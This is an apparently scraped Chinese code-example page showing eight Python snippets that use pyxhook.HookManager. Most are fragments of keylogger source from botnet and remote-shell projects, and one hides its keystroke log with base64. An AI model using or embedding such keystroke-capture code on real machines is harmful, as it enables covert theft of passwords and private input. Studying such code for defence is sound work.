當前位置: 首頁>>代碼示例>>Python>>正文


Python pyxhook.HookManager方法代碼示例

本文整理匯總了Python中pyxhook.HookManager方法的典型用法代碼示例。如果您正苦於以下問題:Python pyxhook.HookManager方法的具體用法?Python pyxhook.HookManager怎麽用?Python pyxhook.HookManager使用的例子?那麽, 這裏精選的方法代碼示例或許可以為您提供幫助。您也可以進一步了解該方法所在pyxhook的用法示例。


在下文中一共展示了pyxhook.HookManager方法的8個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Python代碼示例。

示例1: OnKeyPress

# 需要導入模塊: import pyxhook [as 別名]
# 或者: from pyxhook import HookManager [as 別名]
def OnKeyPress(event):
  fob=open(log_file,'a')
  fob.write(event.Key)
  fob.write('\n')

  if event.Ascii==96: #96 is the ascii value of the grave key (`)
    fob.close()
    new_hook.cancel()
#instantiate HookManager class 
開發者ID:hiamandeep,項目名稱:py-keylogger,代碼行數:11,代碼來源:keylogger.py

示例2: keylogger

# 需要導入模塊: import pyxhook [as 別名]
# 或者: from pyxhook import HookManager [as 別名]
def keylogger(size):
    if os.name == "nt":
        import win32api
        import pythoncom
        from pyHook import HookManager
    else:
        p = subprocess.Popen(["echo $DISPLAY"], shell=True, stdout=subprocess.PIPE)
        output, err = p.communicate()
        if len(str(output).strip()) == 0:
            return "Display not found"
        else:
            import pyxhook
            from pyxhook import HookManager
    global keysPressed
    hm = HookManager()
    hm.KeyDown = onkeyboardevent
    hm.HookKeyboard()
    if os.name != "nt":
        hm.start()
    while len(keysPressed) < int(size):
        if os.name == "nt":
            pythoncom.PumpWaitingMessages()
    else:
        keys = keysPressed
        keysPressed = ">"
        if os.name == "nt":
            hm.UnhookKeyboard()
        else:
            hm.cancel()
        return keys 
開發者ID:jpdias,項目名稱:botnet-lab,代碼行數:32,代碼來源:keylogger.py

示例3: _run_windows

# 需要導入模塊: import pyxhook [as 別名]
# 或者: from pyxhook import HookManager [as 別名]
def _run_windows():
    global abort
    while True:
        hm = hook_manager.HookManager()
        hm.KeyDown = _event
        hm.HookKeyboard()
        pythoncom.PumpMessages()
        if abort:
            break 
開發者ID:malwaredllc,項目名稱:byob,代碼行數:11,代碼來源:keylogger.py

示例4: _run

# 需要導入模塊: import pyxhook [as 別名]
# 或者: from pyxhook import HookManager [as 別名]
def _run():
    global abort
    while True:
        hm = hook_manager.HookManager()
        hm.KeyDown = _event
        hm.HookKeyboard()
        time.sleep(0.1)
        if abort:
            break 
開發者ID:malwaredllc,項目名稱:byob,代碼行數:11,代碼來源:keylogger.py

示例5: __init__

# 需要導入模塊: import pyxhook [as 別名]
# 或者: from pyxhook import HookManager [as 別名]
def __init__(self):
        logger.debug("Keyboard deteccter created.")
        self.hm = HookManager()
        self.hm.KeyDown = self.key_down
        self.hm_thread = None
        self.input_record_list = []
        self.hot_key_list = [24, 38, 52, 10, 11, 12]      # QAZ123
        self.hot_key_list2 = [24, 38, 52, 87, 88, 89]  # QAZ123 with 123 in side keyboard
        self.sp = SoundPlayer() 
開發者ID:BillBillBillBill,項目名稱:Tickeys-linux,代碼行數:11,代碼來源:keyboardHandler.py

示例6: main

# 需要導入模塊: import pyxhook [as 別名]
# 或者: from pyxhook import HookManager [as 別名]
def main():
    if (len(sys.argv) < 2):
            print "Correct usage is: python keylogger.py [logfile directory]"
            sys.exit(1)
    path = sys.argv[1]
    try:
        os.makedirs(path)
    except OSError:
        if not os.path.isdir(path):
            raise

    hook = pyxhook.HookManager()
    hook.KeyDown = logkey
    hook.HookKeyboard()
    hook.start() 
開發者ID:jhoward321,項目名稱:PythonP2PBotnet,代碼行數:17,代碼來源:keylogger.py

示例7: run

# 需要導入模塊: import pyxhook [as 別名]
# 或者: from pyxhook import HookManager [as 別名]
def run():
    path = 'logfolder'
    try:
        os.makedirs(path)
    except OSError:
        if not os.path.isdir(path):
            raise

    hook = pyxhook.HookManager()
    hook.KeyDown = logkey
    hook.HookKeyboard()
    hook.start()

# cleans up some of the log files 
開發者ID:jhoward321,項目名稱:PythonP2PBotnet,代碼行數:16,代碼來源:keylogger.py

示例8: keylogger

# 需要導入模塊: import pyxhook [as 別名]
# 或者: from pyxhook import HookManager [as 別名]
def keylogger(fd_temp_key: int):
    """Key logger thread.\n"""

    def OnKeyboardEvent(event):
        """"Define action triggered when a key is pressed.\n"""
        if not thr_block.isSet():
            if event.Ascii != 0 or 8:
                # Use base64 and not an encryption just for performance
                with open(keylogfile, 'r+b') as f_key:
                    data_decoded = b64decode(f_key.read()).decode('utf-8')
                    f_key.seek(0)
                    if event.Key == 'space':
                        data_decoded += ' '
                        f_key.write(b64encode(data_decoded.encode('utf-8')))
                    elif event.Key == 'BackSpace':
                        data_decoded += '[BackSpace]'
                        f_key.write(b64encode(data_decoded.encode('utf-8')))
                    elif event.Key == 'Return':
                        data_decoded += '[Enter]'
                        f_key.write(b64encode(data_decoded.encode('utf-8')))
                    elif event.Key == 'Shift_L':
                        data_decoded += '[Shift_L]'
                        f_key.write(b64encode(data_decoded.encode('utf-8')))
                    elif event.Key == 'Shift_R':
                        data_decoded += '[Shift_R]'
                        f_key.write(b64encode(data_decoded.encode('utf-8')))
                    elif event.Key == 'Tab':
                        data_decoded += '[Tab]'
                        f_key.write(b64encode(data_decoded.encode('utf-8')))
                    else:
                        data_decoded += event.Key
                        f_key.write(b64encode(data_decoded.encode('utf-8')))
        if thr_exit.isSet():
            os.close(fd_temp_key)
            hm.cancel()
        return True

    # create a hook manager
    if platform == 'windows':
        hm = pyHook.HookManager()
    else:
        hm = pyxhook.HookManager()
    # watch for all mouse events
    hm.KeyDown = OnKeyboardEvent
    # set the hook
    hm.HookKeyboard()
    # wait forever
    if platform == 'windows':
        pythoncom.PumpMessages()
    else:
        hm.start()


# ================================================================================================= 
開發者ID:4n4nk3,項目名稱:TinkererShell,代碼行數:56,代碼來源:TinkererShell.py


注:本文中的pyxhook.HookManager方法示例由純淨天空整理自Github/MSDocs等開源代碼及文檔管理平台,相關代碼片段篩選自各路編程大神貢獻的開源項目,源碼版權歸原作者所有,傳播和使用請參考對應項目的License;未經允許,請勿轉載。